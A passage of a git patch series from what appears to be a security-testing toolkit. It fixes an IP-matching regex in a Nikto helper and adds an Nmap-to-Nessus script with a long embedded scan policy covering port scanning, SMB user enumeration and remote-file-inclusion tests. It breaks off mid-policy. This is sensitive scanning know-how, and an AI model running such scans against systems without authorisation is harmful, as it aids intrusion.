From ada6aa2c379e75919969d333429ee7122018abc9 Mon Sep 17 00:00:00 2001 From: James Hovious Date: Wed, 6 May 2015 14:52:23 -0400 Subject: [PATCH 1/3] Update niktohelper.py Fixed AttributeError: 'NoneType' object has no attribute 'group' --- niktohelper/niktohelper.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/niktohelper/niktohelper.py b/niktohelper/niktohelper.py index 97b06ae..c430fdf 100755 --- a/niktohelper/niktohelper.py +++ b/niktohelper/niktohelper.py @@ -172,8 +172,8 @@ def parseNmap(fname,child,displayOnly): if(count>2): i = i.strip() if 'http' in i: - result = re.search('Host:(.*)\(\)', i) - host = result.group(1).strip() + result = re.search('[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', i) + host = result.group(0).strip() if host not in ipList: ipList.append(host) #Perform a reverse DNS lookup on Bing.com From a9c78f8fc3c5f1596ae9c7358e2f1c79e3e9624a Mon Sep 17 00:00:00 2001 From: James Hovious Date: Wed, 10 Jun 2015 03:55:57 +0000 Subject: [PATCH 2/3] deleted unused scripts --- nessus/nmap2nessus.py | 366 +++++++++++++++++++++++++++++++++++++++ networking/README.md | 3 + networking/ip2domains.py | 124 +++++++++++++ 3 files changed, 493 insertions(+) create mode 100644 nessus/nmap2nessus.py create mode 100755 networking/README.md create mode 100755 networking/ip2domains.py diff --git a/nessus/nmap2nessus.py b/nessus/nmap2nessus.py new file mode 100644 index 0000000..adfd860 --- /dev/null +++ b/nessus/nmap2nessus.py @@ -0,0 +1,366 @@ +#!/usr/bin/env python +import urllib +import argparse +import operator +import requests +from StringIO import StringIO +import json +import time +import sys +import uuid +import requesocks +from lxml import etree +import lxml.etree as et +import xml.etree.ElementTree as ET +import csv + +requests.packages.urllib3.disable_warnings() +defaultNessusPolicy=" private root 10180 Ping the remote host Ping the remote host[checkbox]:Interpret ICMP unreach from gateway checkbox Interpret ICMP unreach from gateway no no 10180 Ping the remote host Ping the remote host[checkbox]:Fast network discovery checkbox Fast network discovery no no 10180 Ping the remote host Ping the remote host[checkbox]:Test the local Nessus host checkbox Test the local Nessus host yes yes 10180 Ping the remote host Ping the remote host[checkbox]:Log live hosts in the report checkbox Log live hosts in the report no no 10180 Ping the remote host Ping the remote host[checkbox]:Make the dead hosts appear in the report checkbox Make the dead hosts appear in the report no no 10180 Ping the remote host Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...) checkbox Do an applicative UDP ping (DNS,RPC...) no no 10180 Ping the remote host Ping the remote host[entry]:Number of retries (ICMP) : entry Number of retries (ICMP) : 2 2 10180 Ping the remote host Ping the remote host[checkbox]:Do an ICMP ping checkbox Do an ICMP ping yes yes 10180 Ping the remote host Ping the remote host[checkbox]:Do a TCP ping checkbox Do a TCP ping yes yes 10180 Ping the remote host Ping the remote host[checkbox]:Do an ARP ping checkbox Do an ARP ping yes yes 10180 Ping the remote host Ping the remote host[entry]:TCP ping destination port(s) : entry TCP ping destination port(s) : built-in built-in 10335 Nessus TCP scanner Nessus TCP scanner[radio]:Firewall detection : radio Firewall detection : Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) 10399 SMB Use Domain SID to Enumerate Users SMB Use Domain SID to Enumerate Users[entry]:End UID : entry End UID : 1200 1200 10399 SMB Use Domain SID to Enumerate Users SMB Use Domain SID to Enumerate Users[entry]:Start UID : entry Start UID : 1000 1000 10662 Web mirroring Web mirroring[checkbox]:Follow dynamic pages : checkbox Follow dynamic pages : no 10662 Web mirroring Web mirroring[entry]:Excluded items regex : entry Excluded items regex : /server_privileges\.php|logout 10662 Web mirroring Web mirroring[entry]:Start page : entry Start page : / 10662 Web mirroring Web mirroring[entry]:Maximum depth : entry Maximum depth : 6 10662 Web mirroring Web mirroring[entry]:Number of pages to mirror : entry Number of pages to mirror : 1000 10860 SMB Use Host SID to Enumerate Local Users SMB Use Host SID to Enumerate Local Users[entry]:End UID : entry End UID : 1200 1200 10860 SMB Use Host SID to Enumerate Local Users SMB Use Host SID to Enumerate Local Users[entry]:Start UID : entry Start UID : 1000 1000 10870 Login configurations Login configurations[checkbox]:Only use Kerberos authentication for SMB checkbox Only use Kerberos authentication for SMB no 10870 Login configurations Login configurations[checkbox]:Only use NTLMv2 checkbox Only use NTLMv2 no yes 10870 Login configurations Login configurations[checkbox]:Never send SMB credentials in clear text checkbox Never send SMB credentials in clear text yes yes 10870 Login configurations Login configurations[entry]:Additional SMB domain (optional) (3) : entry Additional SMB domain (optional) (3) : 10870 Login configurations Login configurations[password]:Additional SMB password (3) : password Additional SMB password (3) : 10870 Login configurations Login configurations[entry]:Additional SMB account (3) : entry Additional SMB account (3) : 10870 Login configurations Login configurations[entry]:Additional SMB domain (optional) (2) : entry Additional SMB domain (optional) (2) : 10870 Login configurations Login configurations[password]:Additional SMB password (2) : password Additional SMB password (2) : 10870 Login configurations Login configurations[entry]:Additional SMB account (2) : entry Additional SMB account (2) : 10870 Login configurations Login configurations[entry]:Additional SMB domain (optional) (1) : entry Additional SMB domain (optional) (1) : 10870 Login configurations Login configurations[password]:Additional SMB password (1) : password Additional SMB password (1) : 10870 Login configurations Login configurations[entry]:Additional SMB account (1) : entry Additional SMB account (1) : 10870 Login configurations Login configurations[radio]:SMB password type : radio SMB password type : Password;LM Hash;NTLM Hash 10870 Login configurations Login configurations[entry]:SMB domain (optional) : entry SMB domain (optional) : 10870 Login configurations Login configurations[password]:SMB password : password SMB password : 10870 Login configurations Login configurations[entry]:SMB account : entry SMB account : 10870 Login configurations Login configurations[password]:IPMI password (sent in clear) : password IPMI password (sent in clear) : 10870 Login configurations Login configurations[entry]:IPMI account : entry IPMI account : 10870 Login configurations Login configurations[password]:IMAP password (sent in clear) : password IMAP password (sent in clear) : 10870 Login configurations Login configurations[entry]:IMAP account : entry IMAP account : 10870 Login configurations Login configurations[password]:POP3 password (sent in clear) : password POP3 password (sent in clear) : 10870 Login configurations Login configurations[entry]:POP3 account : entry POP3 account : 10870 Login configurations Login configurations[password]:POP2 password (sent in clear) : password POP2 password (sent in clear) : 10870 Login configurations Login configurations[entry]:POP2 account : entry POP2 account : 10870 Login configurations Login configurations[entry]:FTP writeable directory : entry FTP writeable directory : /incoming 10870 Login configurations Login configurations[password]:FTP password (sent in clear) : password FTP password (sent in clear) : nessus@nessus.org 10870 Login configurations Login configurations[entry]:FTP account : entry FTP account : anonymous 10870 Login configurations Login configurations[password]:NNTP password (sent in clear) : password NNTP password (sent in clear) : 10870 Login configurations Login configurations[entry]:NNTP account : entry NNTP account : 10870 Login configurations Login configurations[password]:HTTP password (sent in clear) : password HTTP password (sent in clear) : 10870 Login configurations Login configurations[entry]:HTTP account : entry HTTP account : 10917 SMB Scope SMB Scope[checkbox]:Request information about the domain checkbox Request information about the domain yes yes 11038 SMTP settings SMTP settings[entry]:To address : entry To address : postmaster@[AUTO_REPLACED_IP] postmaster@[AUTO_REPLACED_IP] 11038 SMTP settings SMTP settings[entry]:From address : entry From address : nobody@example.com nobody@example.com 11038 SMTP settings SMTP settings[entry]:Third party domain : entry Third party domain : example.com example.com 11149 HTTP login page HTTP login page[checkbox]:Abort web application tests if login fails checkbox Abort web application tests if login fails no 11149 HTTP login page HTTP login page[checkbox]:Case insensitive regex checkbox Case insensitive regex no no 11149 HTTP login page HTTP login page[checkbox]:Match regex on HTTP headers checkbox Match regex on HTTP headers no no 11149 HTTP login page HTTP login page[checkbox]:Invert test (disconnected if regex matches) checkbox Invert test (disconnected if regex matches) no no 11149 HTTP login page HTTP login page[entry]:Authenticated regex : entry Authenticated regex : 11149 HTTP login page HTTP login page[entry]:Follow 30x redirections (# of levels) : entry Follow 30x redirections (# of levels) : 2 0 11149 HTTP login page HTTP login page[entry]:Check authentication on page : entry Check authentication on page : 11149 HTTP login page HTTP login page[entry]:Re-authenticate delay (seconds) : entry Re-authenticate delay (seconds) : 11149 HTTP login page HTTP login page[checkbox]:Automated login page search checkbox Automated login page search no 11149 HTTP login page HTTP login page[radio]:Login form method : radio Login form method : POST;GET POST 11149 HTTP login page HTTP login page[entry]:Login form fields : entry Login form fields : user=%USER%&pass=%PASS% 11149 HTTP login page HTTP login page[entry]:Login form : entry Login form : 11149 HTTP login page HTTP login page[entry]:Login page : entry Login page : / 11219 Nessus SYN scanner Nessus SYN scanner[radio]:Firewall detection : radio Firewall detection : Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) Automatic (normal) 12288 Global variable settings Global variable settings[checkbox]:Enable CRL checking (connects to Internet) checkbox Enable CRL checking (connects to Internet) no no 12288 Global variable settings Global variable settings[checkbox]:Enumerate all SSL ciphers checkbox Enumerate all SSL ciphers yes yes 12288 Global variable settings Global variable settings[password]:SSL password for SSL key : password SSL password for SSL key : 12288 Global variable settings Global variable settings[file]:SSL key to use : file SSL key to use : 12288 Global variable settings Global variable settings[file]:SSL CA to trust : file SSL CA to trust : 12288 Global variable settings Global variable settings[file]:SSL certificate to use : file SSL certificate to use : 12288 Global variable settings Global variable settings[entry]:HTTP User-Agent entry HTTP User-Agent Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) 12288 Global variable settings Global variable settings[radio]:Report paranoia radio Report paranoia Normal;Avoid false alarms;Paranoid (more false alarms) Normal 12288 Global variable settings Global variable settings[radio]:Report verbosity radio Report verbosity Normal;Quiet;Verbose Normal 12288 Global variable settings Global variable settings[checkbox]:Thorough tests (slow) checkbox Thorough tests (slow) no no 12288 Global variable settings Global variable settings[checkbox]:Enable experimental scripts checkbox Enable experimental scripts no 12288 Global variable settings Global variable settings[radio]:Network type radio Network type Mixed (use RFC 1918);Private LAN;Public WAN (Internet) Mixed (use RFC 1918) 12288 Global variable settings Global variable settings[checkbox]:Enable CGI scanning checkbox Enable CGI scanning no no 12288 Global variable settings Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy checkbox Do not log in with user accounts not specified in the policy no yes 12288 Global variable settings Global variable settings[checkbox]:Probe services on every port checkbox Probe services on every port yes yes 14273 SSH settings SSH settings[password]:Additional SSH password (5) : password Additional SSH password (5) : 14273 SSH settings SSH settings[entry]:Additional SSH user name (5) : entry Additional SSH user name (5) : 14273 SSH settings SSH settings[password]:Additional SSH password (4) : password Additional SSH password (4) : 14273 SSH settings SSH settings[entry]:Additional SSH user name (4) : entry Additional SSH user name (4) : 14273 SSH settings SSH settings[password]:Additional SSH password (3) : password Additional SSH password (3) : 14273 SSH settings SSH settings[entry]:Additional SSH user name (3) : entry Additional SSH user name (3) : 14273 SSH settings SSH settings[password]:Additional SSH password (2) : password Additional SSH password (2) : 14273 SSH settings SSH settings[entry]:Additional SSH user name (2) : entry Additional SSH user name (2) : 14273 SSH settings SSH settings[password]:Additional SSH password (1) : password Additional SSH password (1) : 14273 SSH settings SSH settings[entry]:Additional SSH user name (1) : entry Additional SSH user name (1) : 14273 SSH settings SSH settings[entry]:Client version : entry Client version : OpenSSH_5.0 OpenSSH_5.0 14273 SSH settings SSH settings[entry]:Preferred SSH port : entry Preferred SSH port : 22 22 14273 SSH settings SSH settings[file]:SSH known_hosts file : file SSH known_hosts file : 14273 SSH settings SSH settings[password]:Escalation password : password Escalation password : 14273 SSH settings SSH settings[entry]:Escalation account : entry Escalation account : root 14273 SSH settings SSH settings[entry]:su login : entry su login : 14273 SSH settings SSH settings[entry]:Privilege elevation binary path (directory) : entry Privilege elevation binary path (directory) : 14273 SSH settings SSH settings[radio]:Elevate privileges with : radio Elevate privileges with : Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' 14273 SSH settings SSH settings[password]:Passphrase for SSH key : password Passphrase for SSH key : 14273 SSH settings SSH settings[file]:SSH private key to use : file SSH private key to use : 14273 SSH settings SSH settings[file]:SSH public key to use : file SSH public key to use : 14273 SSH settings SSH settings[password]:SSH password (unsafe!) : password SSH password (unsafe!) : 14273 SSH settings SSH settings[entry]:SSH user name : entry SSH user name : root 16193 Antivirus Software Check Antivirus Software Check[entry]:Delay (in days, between 0 and 7) : entry Delay (in days, between 0 and 7) : 0 0 17351 Kerberos configuration Kerberos configuration[entry]:Kerberos Realm (SSH only) : entry Kerberos Realm (SSH only) : 17351 Kerberos configuration Kerberos configuration[radio]:Kerberos KDC Transport : radio Kerberos KDC Transport : tcp 17351 Kerberos configuration Kerberos configuration[entry]:Kerberos KDC Port : entry Kerberos KDC Port : 88 17351 Kerberos configuration Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) : entry Kerberos Key Distribution Center (KDC) : 19762 SNMP settings SNMP settings[radio]:SNMPv3 privacy algorithm : radio SNMPv3 privacy algorithm : AES;DES 19762 SNMP settings SNMP settings[password]:SNMPv3 privacy password : password SNMPv3 privacy password : 19762 SNMP settings SNMP settings[radio]:SNMPv3 authentication algorithm : radio SNMPv3 authentication algorithm : MD5;SHA1 19762 SNMP settings SNMP settings[password]:SNMPv3 authentication password : password SNMPv3 authentication password : 19762 SNMP settings SNMP settings[entry]:SNMPv3 user name : entry SNMPv3 user name : 19762 SNMP settings SNMP settings[entry]:Additional UDP port (3) : entry Additional UDP port (3) : 161 19762 SNMP settings SNMP settings[entry]:Additional UDP port (2) : entry Additional UDP port (2) : 161 19762 SNMP settings SNMP settings[entry]:Additional UDP port (1) : entry Additional UDP port (1) : 161 19762 SNMP settings SNMP settings[entry]:UDP port : entry UDP port : 161 161 19762 SNMP settings SNMP settings[entry]:Community name (3) : entry Community name (3) : 19762 SNMP settings SNMP settings[entry]:Community name (2) : entry Community name (2) : 19762 SNMP settings SNMP settings[entry]:Community name (1) : entry Community name (1) : 19762 SNMP settings SNMP settings[entry]:Community name : entry Community name : public 21744 Cleartext protocols settings Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec checkbox Try to perform patch level checks over rexec no no 21744 Cleartext protocols settings Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh checkbox Try to perform patch level checks over rsh no no 21744 Cleartext protocols settings Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet checkbox Try to perform patch level checks over telnet no no 21744 Cleartext protocols settings Cleartext protocols settings[password]:Password (unsafe!) : password Password (unsafe!) : 21744 Cleartext protocols settings Cleartext protocols settings[entry]:User name : entry User name : 22076 Oracle Settings Oracle Settings[checkbox]:Test default accounts (slow) checkbox Test default accounts (slow) no no 22076 Oracle Settings Oracle Settings[entry]:Oracle SID : entry Oracle SID : 22481 Do not scan fragile devices Do not scan fragile devices[checkbox]:Scan Novell Netware hosts checkbox Scan Novell Netware hosts no no 22481 Do not scan fragile devices Do not scan fragile devices[checkbox]:Scan Network Printers checkbox Scan Network Printers no no 22964 Service Detection Service Detection[radio]:Test SSL based services radio Test SSL based services Known SSL ports;All;None Known SSL ports 33812 Port scanners settings Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed checkbox Only run network port scanners if local port enumeration failed yes yes 33812 Port scanners settings Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators checkbox Check open TCP ports found by local port enumerators no no 33815 Database settings Database settings[radio]:SQL Server auth type: radio SQL Server auth type: Windows;SQL 33815 Database settings Database settings[radio]:Oracle auth type: radio Oracle auth type: NORMAL;SYSOPER;SYSDBA 33815 Database settings Database settings[entry]:Database port to use : entry Database port to use : 33815 Database settings Database settings[entry]:Database SID : entry Database SID : 33815 Database settings Database settings[radio]:DB Type : radio DB Type : Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL 33815 Database settings Database settings[password]:Password : password Password : 33815 Database settings Database settings[entry]:Login : entry Login : 35703 SMB Registry : Start the Registry Service during the scan SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan checkbox Enable administrative shares during the scan no no 35703 SMB Registry : Start the Registry Service during the scan SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan checkbox Start the registry service during the scan no no 39471 Web Application Tests Settings Web Application Tests Settings[entry]:URL for Remote File Inclusion : entry URL for Remote File Inclusion : http://rfi.nessus.org/rfi.txt 39471 Web Application Tests Settings Web Application Tests Settings[checkbox]:Test embedded web servers checkbox Test embedded web servers no 39471 Web Application Tests Settings Web Application Tests Settings[radio]:Stop at first flaw radio Stop at first flaw per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) 39471 Web Application Tests Settings Web Application Tests Settings[checkbox]:HTTP Parameter Pollution checkbox HTTP Parameter Pollution no 39471 Web Application Tests Settings Web Application Tests Settings[radio]:Combinations of arguments values radio Combinations of arguments values one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) 39471 Web Application Tests Settings Web Application Tests Settings[checkbox]:Try all HTTP methods checkbox Try all HTTP methods no 39471 Web Application Tests Settings Web Application Tests Settings[entry]:Maximum run time (min) : entry Maximum run time (min) : 60 39471 Web Application Tests Settings Web Application Tests Settings[checkbox]:Enable web applications tests checkbox Enable web applications tests no 42893 HTTP cookies import HTTP cookies import[file]:Cookies file : file Cookies file : 52616 Wake-on-LAN Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot: entry Time to wait (in minutes) for the systems to boot: 5 5 52616 Wake-on-LAN Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN: file List of MAC addresses for Wake-on-LAN: 57029 Patch Management: SCCM Server Settings Patch Management: SCCM Server Settings[password]:SCCM Password : password SCCM Password : 57029 Patch Management: SCCM Server Settings Patch Management: SCCM Server Settings[entry]:SCCM Username : entry SCCM Username : 57029 Patch Management: SCCM Server Settings Patch Management: SCCM Server Settings[entry]:SCCM Domain : entry SCCM Domain : 57029 Patch Management: SCCM Server Settings Patch Management: SCCM Server Settings[entry]:SCCM Server : entry SCCM Server : 57031 Patch Management: WSUS Server Settings Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate : checkbox Verify SSL Certificate : no 57031 Patch Management: WSUS Server Settings Patch Management: WSUS Server Settings[checkbox]:SSL : checkbox SSL : no 57031 Patch Management: WSUS Server Settings Patch Management: WSUS Server Settings[password]:WSUS Password : password WSUS Password : 57031 Patch Management: WSUS Server Settings Patch Management: WSUS Server Settings[entry]:WSUS Username : entry WSUS Username : 57031 Patch Management: WSUS Server Settings Patch Management: WSUS Server Settings[entry]:WSUS Port : entry WSUS Port : 57031 Patch Management: WSUS Server Settings Patch Management: WSUS Server Settings[entry]:WSUS Server : entry WSUS Server : 57063 Patch Management: Red Hat Satellite Server Settings Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) : password Red Hat Satellite password(s) : 57063 Patch Management: Red Hat Satellite Server Settings Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) : entry Red Hat Satellite username(s) : 57063 Patch Management: Red Hat Satellite Server Settings Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates : checkbox Verify SSL certificates : no 57063 Patch Management: Red Hat Satellite Server Settings Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) : entry Red Hat Satellite port(s) : 443 57063 Patch Management: Red Hat Satellite Server Settings Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] : entry Red Hat Satellite server(s) [separated w/ semicolons] : 57395 VMware SOAP API Settings VMware SOAP API Settings[checkbox]:Ignore SSL Certificate : checkbox Ignore SSL Certificate : no 57395 VMware SOAP API Settings VMware SOAP API Settings[password]:VMware password : password VMware password : 57395 VMware SOAP API Settings VMware SOAP API Settings[entry]:VMware user name : entry VMware user name : 57861 IBM iSeries Credentials IBM iSeries Credentials[password]:Password : password Password : 57861 IBM iSeries Credentials IBM iSeries Credentials[entry]:Login : entry Login : 58038 LDAP 'Domain Admins' Group Membership Enumeration LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results : entry Max results : 1000 58038 LDAP 'Domain Admins' Group Membership Enumeration LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password : password LDAP password : 58038 LDAP 'Domain Admins' Group Membership Enumeration LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user : entry LDAP user : 59275 Malicious Process Detection Malicious Process Detection[file]:Known good MD5 hashes (optional) : file Known good MD5 hashes (optional) : 59275 Malicious Process Detection Malicious Process Detection[file]:Additional MD5 hashes (optional) : file Additional MD5 hashes (optional) : 60024 ADSI Settings ADSI Settings[password]:Domain Password 5: password Domain Password 5: 60024 ADSI Settings ADSI Settings[entry]:Domain Username 5: entry Domain Username 5: 60024 ADSI Settings ADSI Settings[entry]:Domain 5: entry Domain 5: 60024 ADSI Settings ADSI Settings[entry]:Domain Controller 5: entry Domain Controller 5: 60024 ADSI Settings ADSI Settings[password]:Domain Password 4: password Domain Password 4: 60024 ADSI Settings ADSI Settings[entry]:Domain Username 4: entry Domain Username 4: 60024 ADSI Settings ADSI Settings[entry]:Domain 4: entry Domain 4: 60024 ADSI Settings ADSI Settings[entry]:Domain Controller 4: entry Domain Controller 4: 60024 ADSI Settings ADSI Settings[password]:Domain Password 3: password Domain Password 3: 60024 ADSI Settings ADSI Settings[entry]:Domain Username 3: entry Domain Username 3: 60024 ADSI Settings ADSI Settings[entry]:Domain 3: entry Domain 3: 60024 ADSI Settings ADSI Settings[entry]:Domain Controller 3: entry Domain Controller 3: 60024 ADSI Settings ADSI Settings[password]:Domain Password 2: password Domain Password 2: 60024 ADSI Settings ADSI Settings[entry]:Domain Username 2: entry Domain Username 2: 60024 ADSI Settings ADSI Settings[entry]:Domain 2: entry Domain 2: 60024 ADSI Settings ADSI Settings[entry]:Domain Controller 2: entry Domain Controller 2: 60024 ADSI Settings ADSI Settings[password]:Domain Password : password Domain Password : 60024 ADSI Settings ADSI Settings[entry]:Domain Username : entry Domain Username : 60024 ADSI Settings ADSI Settings[entry]:Domain : entry Domain : 60024 ADSI Settings ADSI Settings[entry]:Domain Controller : entry Domain Controller : 60032 Apple Profile Manager API Settings Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) : entry Device Update Timeout (Minutes) : 5 5 60032 Apple Profile Manager API Settings Apple Profile Manager API Settings[checkbox]:Force Device Updates : checkbox Force Device Updates : yes yes 60032 Apple Profile Manager API Settings Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate : checkbox Verify SSL Certificate : no 60032 Apple Profile Manager API Settings Apple Profile Manager API Settings[checkbox]:SSL : checkbox SSL : yes 60032 Apple Profile Manager API Settings Apple Profile Manager API Settings[password]:Apple Profile Manager password : password Apple Profile Manager password : 60032 Apple Profile Manager API Settings Apple Profile Manager API Settings[entry]:Apple Profile Manager username : entry Apple Profile Manager username : 60032 Apple Profile Manager API Settings Apple Profile Manager API Settings[entry]:Apple Profile Manager port : entry Apple Profile Manager port : 443 60032 Apple Profile Manager API Settings Apple Profile Manager API Settings[entry]:Apple Profile Manager server : entry Apple Profile Manager server : 62558 Patch Management: IBM Tivoli Endpoint Manager Server Settings Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate : checkbox Verify SSL Certificate : no 62558 Patch Management: IBM Tivoli Endpoint Manager Server Settings Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL : checkbox SSL : no 62558 Patch Management: IBM Tivoli Endpoint Manager Server Settings Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password : password Web Reports Password : 62558 Patch Management: IBM Tivoli Endpoint Manager Server Settings Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username : entry Web Reports Username : 62558 Patch Management: IBM Tivoli Endpoint Manager Server Settings Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port : entry Web Reports Port : 62558 Patch Management: IBM Tivoli Endpoint Manager Server Settings Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server : entry Web Reports Server : 63060 VMware vCenter SOAP API Settings VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate : checkbox Verify SSL Certificate : no 63060 VMware vCenter SOAP API Settings VMware vCenter SOAP API Settings[checkbox]:SSL : checkbox SSL : yes 63060 VMware vCenter SOAP API Settings VMware vCenter SOAP API Settings[password]:VMware vCenter password : password VMware vCenter password : 63060 VMware vCenter SOAP API Settings VMware vCenter SOAP API Settings[entry]:VMware vCenter user name : entry VMware vCenter user name : 63060 VMware vCenter SOAP API Settings VMware vCenter SOAP API Settings[entry]:VMware vCenter port : entry VMware vCenter port : 443 63060 VMware vCenter SOAP API Settings VMware vCenter SOAP API Settings[entry]:VMware vCenter host : entry VMware vCenter host : 64286 Palo Alto Networks PAN-OS Settings Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate : checkbox Verify SSL Certificate : no 64286 Palo Alto Networks PAN-OS Settings Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port : entry Palo Alto Port : 443 64286 Palo Alto Networks PAN-OS Settings Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password : password Palo Alto Password : 64286 Palo Alto Networks PAN-OS Settings Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username : entry Palo Alto Username : 66334 Patch Report Patch Report[checkbox]:Display the superseded patches in the report checkbox Display the superseded patches in the report yes no 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:OVAL Result Type #5 : radio OVAL Result Type #5 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Profile ID #5 : entry SCAP Profile ID #5 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #5 : entry SCAP Benchmark ID #5 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : entry SCAP Data Stream ID (1.2 only) #5 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:SCAP Version #5 : radio SCAP Version #5 : 1.2;1.1;1.0 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[file]:SCAP File (zip) #5 : file SCAP File (zip) #5 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:OVAL Result Type #4 : radio OVAL Result Type #4 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Profile ID #4 : entry SCAP Profile ID #4 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #4 : entry SCAP Benchmark ID #4 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : entry SCAP Data Stream ID (1.2 only) #4 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:SCAP Version #4 : radio SCAP Version #4 : 1.2;1.1;1.0 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[file]:SCAP File (zip) #4 : file SCAP File (zip) #4 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:OVAL Result Type #3 : radio OVAL Result Type #3 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Profile ID #3 : entry SCAP Profile ID #3 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #3 : entry SCAP Benchmark ID #3 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : entry SCAP Data Stream ID (1.2 only) #3 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:SCAP Version #3 : radio SCAP Version #3 : 1.2;1.1;1.0 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[file]:SCAP File (zip) #3 : file SCAP File (zip) #3 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:OVAL Result Type #2 : radio OVAL Result Type #2 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Profile ID #2 : entry SCAP Profile ID #2 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #2 : entry SCAP Benchmark ID #2 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : entry SCAP Data Stream ID (1.2 only) #2 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:SCAP Version #2 : radio SCAP Version #2 : 1.2;1.1;1.0 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[file]:SCAP File (zip) #2 : file SCAP File (zip) #2 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:OVAL Result Type #1 : radio OVAL Result Type #1 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Profile ID #1 : entry SCAP Profile ID #1 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #1 : entry SCAP Benchmark ID #1 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : entry SCAP Data Stream ID (1.2 only) #1 : 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[radio]:SCAP Version #1 : radio SCAP Version #1 : 1.2;1.1;1.0 66756 SCAP Windows Compliance Checks SCAP Windows Compliance Checks[file]:SCAP File (zip) #1 : file SCAP File (zip) #1 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:OVAL Result Type #5 : radio OVAL Result Type #5 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Profile ID #5 : entry SCAP Profile ID #5 